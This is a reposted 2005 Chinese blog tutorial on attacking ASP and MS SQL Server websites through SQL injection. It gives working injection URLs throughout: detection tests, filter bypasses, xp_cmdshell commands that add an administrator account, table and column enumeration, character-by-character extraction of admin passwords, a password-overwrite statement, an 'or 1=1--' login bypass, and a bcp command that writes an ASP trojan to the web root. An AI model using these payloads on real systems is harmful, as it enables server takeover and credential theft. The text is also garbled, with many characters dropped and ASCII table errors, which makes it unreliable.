永无止境的程序

..::[......]::..

导航

[转]SQL注入法攻击一日通(V3.0)

随着B/S模式开发展,使用这种模式用程序的程序也越来越多。但是由于程序的水平及经验也参差不,相当大一部分程序写代候,没有户输入数据的合法性行判断,使用程序存在安全患。用可以提交一段数据库查询,根

据程序返回的果,得某些他想得知的数据,就是所SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web访问没什,所以目前市面的防火都不会SQL注入出警,如果管理IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的候会碰到很多意外的情况。能不能根据具体情况行分析,构造巧妙的SQL句,从而成功取想要的数据。

统计,网站用ASP+AccessSQLServer的占70%以上,PHP+MySQL20%,其他的不足10%。在本文,以SQL-SERVERASPSQL注入的原理、方法与程。PHP注入的文章由NB盟的另一位朋友zwell撰写的有文章)

SQL注入攻体思路是:

l         发现SQL注入位置;

l         判断后台数据库类型;

l         确定XP_CMDSHELL行情况

l         发现WEB

l         ASP

l         得到管理员权限;

 

一、SQL注入漏洞的判断

一般来SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX有参数的ASP动态中,有一个动态中可能只有一个参数,有可能有N个参数,有是整型参数,有是字符串型参数,不能一概而之只要是有参数的动态且此网页访问了数据,那就有可能存在SQL注入。如果ASP程序没有安全意,不行必要的字符过滤,存在SQL注入的可能性就非常大。

了全面了解动态回答的信息,首选请调IE的配置。把IE-工具-Internet选项-高示友好HTTP错误信息前面的勾去掉。

了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY行分析,YY可能是整型,也有可能是字符串。

1、整型参数的判断

入的参数YY整型,通常abc.aspSQL句原貌大致如下:

select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个引号),此abc.ASP中的SQL成了

select * from 表名 where 字段=YY’abc.asp运行异常;

HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行果相同;

HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;

如果以上三全面足,abc.asp中一定存在SQL注入漏洞。

2、字符串型参数的判断

入的参数YY字符串,通常abc.aspSQL句原貌大致如下:

select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。

HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个引号),此abc.ASP中的SQL成了

select * from 表名 where 字段=YY’abc.asp运行异常;

HTTP://xxx.xxx.xxx/abc.asp?p=YY and '1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行果相同;

HTTP://xxx.xxx.xxx/abc.asp?p=YY and '1'='2', abc.asp运行异常;

如果以上三全面足,abc.asp中一定存在SQL注入漏洞。

3、特殊情况的

ASP程序会在程序员过滤引号等字符,以防止SQL注入。此可以用以下几方法

①大小定混合法:由于VBS并不区分大小写,而程序过滤时通常要全部过滤大写字符串,要全部过滤小写字符串,而大小写混合往往会被忽。如用SelecT代替select,SELECT等;

UNICODE法:在IIS中,以UNICODE字符集实现化,我完全可以IE入的字符串化成UNICODE字符串入。如+ =%2B,空格=%20 等;URLEncode信息参附件一;

ASCII法:可以把入的部分或全部字符全部用ASCII代替,如U=chr(85),a=chr(97)等,ASCII信息参附件二;

 

二、区分数据

一般来ACCESSSQLSERVER是最常用的数据器,尽管它都支持TSQL准,但有不同之,而且不同的数据有不同的攻方法,必要区别对待。

1  利用数据器的系统变行区分

SQLSERVERuser,db_name()等系统变量,利用些系统值可以判断SQL-SERVER,而且可以得到大量有用信息。如:

              HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0  可以判断是否是SQL-SERVER,而可以得到当前接到数据的用

HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0  可以判断是否是SQL-SERVER,而可以得到当前正在使用的数据名;

2、利用系

ACCESS的系表是msysobjects,且在WEB境下没有访问权限,而SQL-SERVER的系表是sysobjects,WEB境下有访问权限。于以下两条句:

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0

若数据SQL-SERVE第一条,abc.asp一定运行正常,第二条异常;若是ACCESS两条都会异常。

 

3  MSSQL三个关键

sysdatabases表:Microsoft SQL Server 上的个数据在表中占一行。最初安装 SQL Server sysdatabases 包含 mastermodelmsdbmssqlweb tempdb 数据表只存 master 数据中。 个表保存在master数据中,个表中保存的是什信息呢?个非常重要。他是 保存了所有的,以及ID和一些相信息。  

里我把于我有用的字段名称和相关说大家列出来。name  //表示的名字。

dbid   //表示IDdbid15是系的。分是:mastermodelmsdbmssqlwebtempdb 五个。用select * from master.dbo.sysdatabases 就可以查询出所有的名。

 

SysobjectsSQL-SERVER个数据内都有此系表,它存放数据建的所有象,如束、默认值、日志、规则、存储过程等,象在表中占一行。以下是此系表的字段名称和相关说明。

Nameidxtypeuidstatus:分象名,ID型,所有象的用ID,象状

(xtype)。可以是下列型中的一

C = CHECK

D = 认值 DEFAULT

F = FOREIGN KEY

L = 日志

FN = 量函数

IF = 内嵌表函数

P = 储过

PK = PRIMARY KEY 束(型是 K

RF = 筛选储过

S =

TF = 表函数

TR =

U =

UQ = UNIQUE 束(型是 K

V = 视图

X = 展存储过

xtype='U' and status>0代表是用建立的表,象名就是表名,ID就是表的ID

: select * from ChouYFD.dbo.sysobjects where xtype='U'  and status>0 就可以列出ChouYFD中所有的用建立的表名。

 

syscolumns 个表和视图中的列在表中占一行,存储过程中的个参数在表中也占一行。表位于个数据中。主要字段有:

name id colid :分是字段名称,表ID号,字段ID号,其中的 ID 上我sysobjects得到的表的ID号。

: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD中,表的ID123456789中的所有字段列表。

 

    三、确定XP_CMDSHELL行情况

若当前接数据的号具有SA限,且master.dbo.xp_cmdshell展存储过(用此存储过程可以直接使用操作系shell)正确行,整个算机可以通以下几方法完全控制,以后的所有步骤都可以省

1HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0  abc.asp行异常但可以得到当前接数据的用(dbo代表SA)

2HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0  abc.asp行异常但可以得到当前接的数据名。

3HTTP://xxx.xxx.xxx/abc.asp?p=YYexec master..xp_cmdshell “net user aaa bbb /add”--  (masterSQL-SERVER的主数据;名中的分号表示SQL-SERVER行完分号前的句名,继续执行其后面的句;“—”号是注解,表示其后面的所有内容仅为,系并不)可以直接增加操作系统帐户aaa,码为bbb

4HTTP://xxx.xxx.xxx/abc.asp?p=YYexec master..xp_cmdshell “net localgroup administrators aaa /add”--   刚刚增加的帐户aaa加到administrators中。

5HTTP://xxx.xxx.xxx/abc.asp?p=YYbackuup database 数据 to disk='c:\inetpub\wwwroot\save.db'  把得到的数据内容全部份到WEB下,再用HTTP把此文件下(当然首要知道WEB)

6、通过复CMDUNICODE漏洞

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe  c:\inetpub\scripts\cmd.exe”  便制造了一个UNICODE漏洞,通此漏洞的利用方法,便完成了整个算机的控制(当然首要知道WEB)

 

四、发现WEB

只有找到WEB,才能确定放置ASP的位置,而得到USER限。有两方法比有效。

一是根据经验猜解,一般来WEB是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可行虚是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍的目录结构,分析果并发现WEB

建一个临时表:temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下来:

1)我可以利用xp_availablemedia得当前所有驱动,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp exec master.dbo.xp_availablemedia;--

可以通过查询temp的内容来驱动器列表及相信息

2)我可以利用xp_subdirs得子目列表,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

3)我们还可以利用xp_dirtree得所有子目的目录树结,并寸入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

这样就可以成功的浏览到所有的目(文件)列表:

 

如果我需要看某个文件的内容,可以通过执xp_cmdsell

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert'法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'  

浏览temp就可以看到index.asp文件的内容了!通分析各ASP文件,可以得到大量系信息,WEB与管理信息,甚至可以得到SA号的接密

 

当然,如果xp_cmshell够执行,我可以用它来完成:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

 

xp_cmdshell可以看到所有想看到的,包括W3svc

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

 

但是,如果不是SA限,我们还可以使用

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

 

注意:

1、以上完成一项浏览后,应删TEMP中的所有内容,除方法是:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--

2浏览TEMP表的方法是:(TestDB是当前接的数据)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from TestDB.dbo.temp )>0  得到表TEMP中第一条记录id字段的,并与整数行比abc.asp工作异常,但在异常中却可以发现id字段的。假设发现的表名是xyz

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0  得到表TEMP中第二条记录id字段的

 

五、上ASP

ASP,就是一段有特殊功能的ASP,并放入WEBScripts下,程客IE就可行它,而得到系USER限,实现对的初控制。上ASP一般有两有效的方法:

1、利用WEB程管理功能

WEB站点,维护的方便,都提供了程管理的功能;也有不少WEB站点,其内容是于不同的用有不同的访问权限。了达到户权限的控制,都有一个网,要求用名与密,只有入了正确的,才能行下一的操作,可以实现对WEB的管理,如上、下文件,目录浏览、修改配置等。

因此,若取正确的用名与密,不可以上ASP,有甚至能直接得到USER限而浏览,上一的“发现WEB”的复杂操作都可省略。

名及密一般存放在一表中,发现这张表并取其中内容便解决了问题。以下出两有效方法。

A  注入法:

从理认证中会有型如:

select * from admin where username='XXX' and password='YYY' 句,若在正式运行此句之前,没有行必要的字符过滤很容易SQL注入。

如在用名文本框内入:abc’ or 1=1--    在密框内入:123   SQL成:

select * from admin where username='abc’ or 1=1 and password='123’  不管用户输入任何用名与密,此句永都能正确行,用户轻骗过取合法身份。

B、猜解法:

基本思路是:猜解所有数据名称,猜出中的每张表名,分析可能是存放用名与密的表名,猜出表中的个字段名,猜出表中的记录内容。

l         猜解所有数据名称

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0  dbid 15,是系用了。所以用自己建的一定是从6始的。并且我提交了 name>1 (name字段是一个字符型的字段和数字比会出),abc.asp工作异常,可得到第一个数据名,同理把DBID改成7,89,10,11,12…就可得到所有数据名。

以下假得到的数据名是TestDB

 

l         猜解数据中用名表的名称

猜解法:此方法就是根据个人的经验猜表名,一般来user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser, systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语行判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0  若表名存在,abc.asp工作正常,否异常。如此循,直到猜到系统帐号表的名称。

取法:SQL-SERVER有一个存放系核心信息的表sysobjects,有一个的所有表,视图等信息全部存放在此表中,而且此表可以通WEB访问

xtype='U' and status>0代表是用建立的表,发现并分析一个用建立的表及名称,便可以得到用名表的名称,基本的实现方法是:

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0  得到第一个用建立表的名称,并与整数行比abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0  可以得到第二个用建立的表的名称,同理就可得到所有用建立的表的名称。

根据表的名称,一般可以定那表用存放用名及密,以下假此表名Admin

l         猜解用名字段及密字段名称

admin表中一定有一个用名字段,也一定有一个密字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它的名称呢,同有以下两方法。

猜解法:此方法就是根据个人的经验猜字段名,一般来,用名字段的名称常用:username,name,user,account等。而密字段的名称常用:password,pass,pwd,passwd等。并通过语行判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0  “select count(字段名) from 表名”句得到表的行数,所以若字段名存在,abc.asp工作正常,否异常。如此循,直到猜到两个字段的名称。

取法:基本的实现方法是

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0  select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数行比abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次2,3,4,56…就可得到所有的字段名称。

l         猜解用名与密

猜用名与密的内容最常用也是最有效的方法有:

ASCII逐字解:这种方法速度慢,但肯定是可行的。基本的思路是先猜出字段的度,然后依次猜出一位的。猜用名与猜密的方法相同,以下以猜用明其程。

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,23,45,… nusername名字段的名称,admin表的名称),若x某一iabc.asp运行正常i就是第一个用名的度。如:当

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 len(username) from TestDB.dbo.admin)=8abc.asp运行正常,第一个用名的8

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n  (m1到上一得到的用度之,当m=12,3,…1,2,3,…位的n1~9a~zA~ZASCII,也就是1~128的任意admin户帐号表的名称),若n某一iabc.asp运行正常i对应ASCII就是用名某一位。如:当

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80abc.asp运行正常,名的第三位P(PASCII80)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33abc.asp运行正常,名的第9!(!ASCII80)

猜到第一个用名及密后,同理,可以猜出其他所有用名与密。注意:有得到的密可能是MD5等方式加密后的信息,需要用用工具行脱密。或者先改其密,使用完后再改回来,下面明。

简单法:猜用名用

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where username>1) , flagadmin表中的一个字段,username是用名字段,此abc.asp工作异常,但能得到Username与上同的方法,可以得到第二用名,第三个用等等,直到表中的所有用名。

猜用HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flagadmin表中的一个字段,pwd是密字段,此abc.asp工作异常,但能得到pwd与上同的方法,可以得到第二用名的密,第三个用的密等等,直到表中的所有用的密。密MD5加密的,可以改密

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';--  (   1MD5值为AAABBBCCCDDDEEEF,即把密改成1www已知的用)

用同的方法当然可把密改原来的

 

2、利用表内容成文件功能

SQLBCP命令,它可以把表的内容成文本文件并放到指定位置。利用这项功能,我可以先建一张临时表,然后在表中一行一行地入一个ASP,然后用BCP命令出形成ASP文件。

命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执查询的服器,'U'参数名,'P'参数,最了一个runcommand.asp的木) 

 

六、得到系的管理员权

   ASP只有USER限,要想的完全控制,要有系的管理员权限。怎么办?提升限的方法有很多

,修改机自运行的.ini文件(它一重启,便死定了)

CMD.exescripts,人制造UNICODE漏洞;

SAM文件,破解并OS的所有用名密

等等,的具体情况而定,可以采取不同的方法。

 

七、几个SQL-SERVER用手段

1、利用xp_regread展存储过程修改注册表

[xp_regread]另一个有用的内置存储过程是xp_regXXXX的函数集合(Xp_regaddmultistringXp_regdeletekeyXp_regdeletevalueXp_regenumkeysXp_regenumvaluesXp_regreadXp_regremovemultistringXp_regwrite)者可以利用些函数修改注册表,如SAM,允建立空接,机自运行程序等。如:

exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'  确定什么样的会话连接在服器可用。

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'  示服器上所有SNMP体配置,有了些信息,攻者或会重新配置同一网中的网络设备

2、利用其他存储过程去改

xp_servicecontrol程允,停止服。如:

(exec master..xp_servicecontrol 'start','schedule'

exec master..xp_servicecontrol 'start','server')

Xp_availablemedia 示机器上有用的驱动

Xp_dirtree 许获得一个目录树

Xp_enumdsn 器上的ODBC数据源

Xp_loginconfig  取服器安全信息

Xp_makecab 在服器上建一个压缩文件

Xp_ntsec_enumdomains 器可以入的域

Xp_terminate_process 提供程的ID止此

 

 

 

 

附件一:URLUnicode(节选,主要是非字母的字符,RFC1738)

字符    特殊字符的含       URL编码

  #      用来志特定的文档位置    %23

  %      特殊字符编码     %25

  &      分隔不同的值对     %26

  +      在表示空格     %2B

  /        表示目路径          %2F

\                                         %5C

=      用来       %3D

  ?      表示查询字符串的始    %3F

  空格                                %20

.         句号                    %2E

        冒号                    %3A

 

附件二:ASCII(节选)

Dec Hex Char      Dec   Hex Char   

                  80    50  P  

32  20  (space)   81    51  Q  

33  21  !         82    52  R  

34  22  "         83    53  S  

35  23  #         84    54  T  

36  24  $Content$nbsp;        85    55  U  

37  25  %         86    56  V  

38  26  &         87    57  W  

39  27  '         88    58  X  

40  28  (         89    59  Y  

41  29  )         90    5A  Z  

42  2A  *         91    5B  [  

43  2B  +         92    5C  \  

44  2C  ,         93    5D  ]  

45  2D  -         94    5E  ^  

46  2E  .         95    5F  _  

47  2F  /         96    60  `  

48  30  0         97    61  a  

49  31  1         98    62  b  

50  32  2         99    63  c  

51  33  3         100   64  d  

52  34  4                          

53  35  5         101   65  e  

54  36  6         102   66  f  

55  37  7         103   67  g  

56  38  8         104   68  h  

57  39  9         105   69  i  

58  3A  :         106   6A  j  

59  3B  ;         107   6B  k  

60  3C  <         108   6C  l  

61  3D  =         109   6D  m  

62  3E  >         110   6E  n  

63  3F  ?         111   6F  o  

                  112   70  p  

64  40  @         113   72  q  

65  41  A         114   72  r  

66  42  B         115   73  s  

67  43  C         116   74  t  

68  44  D         117   75  u  

69  45  E         118   76  v  

70  46  F         119   77  w  

71  47  G         120   78  x  

72  48  H         121   79  y  

73  49  I         122   7A  z  

74  4A  J         123   7B  {  

75  4B  K         124   7C  |  

76  4C  L         125   7D  }  

77  4D  M         126   7E  ~  

78  4E  N         127   7F    

79  4F  O         128   80    

 

posted on 2005-01-27 15:11  AlleNny  阅读(796)  评论(0编辑  收藏  举报